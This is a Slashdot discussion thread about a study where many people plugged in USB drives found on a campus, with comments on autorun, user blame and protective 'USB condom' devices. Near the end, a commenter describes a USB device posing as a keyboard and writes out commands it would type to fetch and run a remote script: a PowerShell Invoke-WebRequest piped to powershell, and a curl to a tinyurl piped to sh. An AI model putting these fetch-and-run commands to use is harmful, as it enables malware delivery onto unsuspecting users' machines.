Slashdot Mirror
A Lot of People Carelessly Plug In Random USB Drives Into Their Computers (vice.com)
An anonymous reader writes: Scientists have proven that a lot of people will carelessly plug in a USB drive found on the ground, exposing themselves to potential infections from malware. The researchers dropped 297 USB flash drives on a university campus and saw that in 48% of the cases, people picked them up, plugged them in, and opened files from the drive on their computers. Should such people be mocked? Would you plug in a USB drive that you found on the ground? Bruce Schneier, an American cryptographer, computer security and privacy specialist makes a good point: People get USB sticks all the time. The problem isn't that people are idiots, that they should know that a USB stick found on the street is automatically bad and a USB stick given away at a trade show is automatically good. The problem is that the OS trusts random USB sticks. The problem is that the OS will automatically run a program that can install malware from a USB stick. The problem is that it isn't safe to plug a USB stick into a computer.
Never know what STDs are there, but YOLO
People are stupid, film at 11.
Just cruising through this digital world at 33 1/3 rpm...
The chance of getting juicy selfies are a lot higher than getting infected.
Kind of like picking up an unknown person in a bar and having sex. Maybe even better odds or not getting infected. The study did not compare this.
don't cut it off www.mgmbill.org
Does Windows still run things automatically from external media. I thought that had been changed in Win 7.
My guess is a fair amount of people open them just in an attempt to ID the owner so they can return it.
1) Given: People will take a random USB stick and plug it into a computer.
2) Conclusion: Only a moron will design an Operating system that automatically runs software on a USB stick. Any sane OS designer should declare all USB sticks to be suspect, and require an explicit confirmation before running any executable on it.
The minimal convenience of having auto-run for USB drives is far over-ridden by the huge security leak.
Design products for the people that will run it, not theoretical angels that will read and obey your instruction manuals - especially when they DO NOT COME WITH INSTRUCTION MANUALS anymore.
excitingthingstodo.blogspot.com
There is a scene in Mr. Robot where a girl dumps a bunch of infected USB stick in the parking lot of a police station, and a cop picks one up and plugs it into his computer. I thought this was rather far-fetched, but I guess not.
I feel sorry for people that don't drink, because when they get up in the morning, that's as good as they're gonna feel
I turned off autorun on any external media a long time ago, back when sony cd's were injecting rootkits under the guise of DRM circa 2005. Nothing on insertable media autoruns on my PC.
USB drives?!
How about blindly trusting USB chargers from Alibaba/ebay?!
Or assuming that new USB-C cable from Amazon won't set your house on fire?!!!
the preceding comment is my own and in no way reflects the opinion of the Joint Chiefs of Staff
This isn't just the OS; you can easily diddle USB devices with malware in their firmware that then diddles the host in ways that doesn't require an obviously too trusting OS such as the most popular one that continues in this manner well after the idea has been well and truly discredited.
In other words, "we", the people that design and make the hardware and the software and so on, keep on making promises we know are false to "users": "No training needed", "this OS is user friendly", "this hardware will do what you tell it to", and so on, and so forth. It's the industry that's at fault because all that "stupid stuff" the users do, we keep on telling them that it's quite right and go ahead... right up until we chastise them for having fallen for a scam or a virus or whatever. "Sure you can do that", 'but now the box is bleeping angrily', "don't do that then." Worst pavlov training ever.
So no, you really cannot blame "people" for this, nor "users". It's the engineers and perhaps moreso the companies employing the engineers.
You quickly drive through the employee parking\entry area of a bank. You toss half a dozen, maybe less, infected USB drives out your window on the way. I've only ever heard of that testing method used on banks, by genuine, hired security firms, but I imagine it could go a lot further. Needless to say it generally results in "Yay! free USB drives! Let's plug em in!" Then something phones home.
People are simple like that. Every so often someone asks me what the best way to crack (misc.) password is. I tell them to ask for it.
Brought to you by Carl's Junior.
"a USB stick given away at a trade show is automatically good." the hell ever gave you that idea? a USB stick in original packaging could have malware all up ins for all you know.
That's why we have USB authorization. Since 2007.
What kind of dumb OS autoruns anything off of any volume the moment it's connected without any request from the user?
Oh right, Windows. Well, there's your problem.
-Forrest Cameranesi, Geek of all Trades
"I am Sam. Sam I am. I do not like trolls, flames, or spam."
As a Canadian, I cannot trust either China nor the USA about spyware and trojans. This means that unless the USB drive is made of wood and smells like maple syrup, I don't trust it.
The problem is that the USB drive can identify as a different kind of device, like a keyboard, run commands, download and install software, and even interact with the security modal screens.
No good deed goes unpunished...
I have mixed feelings every time I see this. Every time I see one of these articles come across, there's a flood of comments about how its not news, and each time I see it I lean closer to the notion that this paradox of "non-news" that in and of itself is caused by a lack of awareness(which can only be remedied by news) might be dragging along by the dead weight of our habit to only share this knowledge with the tech crowd that already knows about it. This knowledge can only do so much unless it makes its way to those people who keep on asking me to reset their password because they forget that caps lock is on.
No, the people are NOT stupid.
Logically a data drive should have data and only data from the computer's perspective, and not run any executables or scripts on it without first explicitly asking. It should be designed that way from the start. That's how Vulcans would design it.
The fact that it's so easy for hackers to bypass what SHOULD be normal and expected is a failure of the technology and/or standards, NOT of consumers.
Table-ized A.I.
Yeah right.
I'm not most people, but I did exactly this (with an SD card).
I went through photos on the card, managed to fine one that included a USPS package, transformed the image to read a partial name and was able to scan the barcode to get a zip, looked at other photos and compared them to Google/Bing maps and found the street but not the address, then found several profiles on the web, ultimately matching one photo to a Facebook account using a cropped version as the profile photo.
I then created a throwaway email account to create a throwaway Facebook account under the name of Natalie FoundUrSDCard or some such, messaged her and posted the uncropped version of her profile photo, and waited.
She responded and sent her uncle to come pick it up.
He did.
First person to invent a cheap, provably secure, not-already-patent/intellectual-property-encumbered "USB condom" (really, a very small computer) that sits between my computer and a USB stick which disables boot, Windows-auto-run, device-driver shenanigans, and the like gets the win.
--
One of many possible ways to do this:
* Assume the device is a generic USB memory stick. If it's not, fail.
* If it is, attempt to access the files using generic methods. If it doesn't work, fail.
* If it's not a recognized filesystem (fat-variations, ntfs, ext2-variations, possibly others), fail.
* Present the directory-tree to the user's real computer a sub-tree so any files the host sees in the "root" directory as "special" aren't there.
* Present the "device" to the host as read-only.
* Consider simply not presenting well-known files like autorun.exe to the host computer at all.
The hard part will probably be that future USB sticks may not work with today's "USB condoms" as, by definition, the "condoms" would not trust any device-driver-like code that resides on the USB stick. This can be partially mitigated if the USB stick's device-driver-like code is signed and the signer's key is trusted by the "USB condom." But this is not without its own risks.
--
Bonus points if the "USB condom" it also stops hardware trojan horses like the "plug me in and 30 seconds later I'll fry your USB port" devices, even if it has to die in the process.
-------------
Note - I haven't done a Google search - such a thing may already exist. If it's cheap (under $10) and proven to provide protection without doing harm, I'm interested in buying a few.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
My business idea is the "USB Condom". It's a USB inter-connect to go between your device and the host. It runs in two modes: - charging only. The device will negotiate power delivery and pass the current back to the device. Nothing else gets through. This is used to protect a device (such as a smart phone) from an unknown/untrusted host. - data only. The device can present as a USB mass storage device, but all other devices are blocked. This is used to protect a host from an unknown/untrusted device, like in this article. This would involve an embedded system that runs rather sophisticated code to inspect USB packets, or even present as a hub. I'm sure it could be miniaturized quite nicely. I have other things to do: does anyone want to make this?
I think you have your statistics backwards. The number of people carrying around juicy selfies on a USB stick is considerably lower than the amount of USB sticks containing malware.
Mobile phone may be different.
You assume that USB stick is a flash memory device. Being nasty, it tells the computer that it's a keyboard. Your computer almost certainly processes keyboard commands just like other computers do. I've built one of these.
I've had some experience in trying to make macros that would replay keyboard/mouse input in order to run certain applications and execute commands, and it's amazing the kinds of things that can throw it off, even when you're working on a known/controlled system. I bet it'd be possible to make one that, to give an example, if you knew exactly what OS you were using, it would launch the CLI and delete the current user's home folder. I wouldn't bet on getting reliable results doing anything much more complicated than that.
OS should prompt to verify. "A new peripheral has been detected. It claims to be a keyboard. Is this correct?"
True, if you don't have a keyboard (and no mouse yet) you cannot tell the computer if you approve or disapprove.
A partial solution would be to display a message and give the user 90 seconds to respond.
"A new device that claims to be a keyboard has been detected (plugged in). If you don't reply within 90 seconds, the keyboard will be accepted."
Table-ized A.I.
Another solution: if a keyboard is already plugged in, prompt for a warning. If a keyboard is not plugged in, accept it.
"First they came for the slanderers and i said nothing."
You did see the malicious USB "drive" that was actually a transformer right (developed as an exhibit on how dangerous random USB can be)? It took about a second for it to build up 240V and send it back through the port. First pulse dropped the screen and probably everything else as well, the second pulse killed the whole laptop power system. And it all happened before you could even pull it. It also would keep pulsing until power to the port stopped.
No, the people are NOT stupid.
Thousands upon thousands of years of history disagree.
Just cruising through this digital world at 33 1/3 rpm...
Trying to do much through the GUI could be quite error-prone, though errors are acceptable. The more normal approach would be for the keyboard to run something like this single command for Windows, which tells the OS to download and run a script:
Win+R Invoke-WebRequest tinyurl.com/hfgrhd | powershell.exe
And / or this for Linux and Mac:
Ctrl-Alt+F1 curl http://tinyurl.com/hfhfh | sh
Ctrl-Alt+F7
Powershell or /bin/sh takes over from there - the victim could yank the trojan device out and the malicious script will continue to run in the background.
That's basically what I did; I used the same chip used by the Arduino Nano, flashed with the Arduino bootloader, without the Arduino circuit board.
At first, I put it together to brute-force an Android PIN overnight. Then I adjusted the code slightly to keep a Chromebox from going into power saving mode, because the Chromebox was running a wall-mounted display.
Having a tiny USB device that acts as a keyboard and nothing more to do with it, mounting it in an old flash drive casing was the next logical step for a security geek like myself.
There are a few characters missing from the code I posted. I don't have a Windows machine handy to test with at the moment, in order to catch any errors. It would actually be more like:
Win+R powershell -command 'Invoke-WebRequest http...
Invoke-WebRequest downloads a URL, like a browser would, but then we use the pipe character | to send the content of that URL to powershell. Powershell is kind of like cmd.exe, but more powerful. If you do Win+R cmd.exe you'll see what looks like a DOS prompt, where you can type commands. Powershell is that on steroids (and on crack).
Piping them together, you get "retrieve commands from http://tinyurl.com/jfjdhd and run them using powershell ".
The Linux/Unix/Mac version is similar:
curl http://tinyurl.com/hacker | sh
Curl gets whatever is at that URL and sends it to "sh". Sh, the shell, is the "DOS prompt" of Unix, and runs whatever commands that curl got from the internet.
That was some epically beautiful nerdiness right there.
https://www.grahamcluley.com/2...
The video is somewhat anti-climactic, but there ya go.
On BSD at least, you can lock the install to a specific USB keyboard ID, so then it won't accept a random HID.
Excuse me, but please get off my Pennisetum Clandestinum, eh!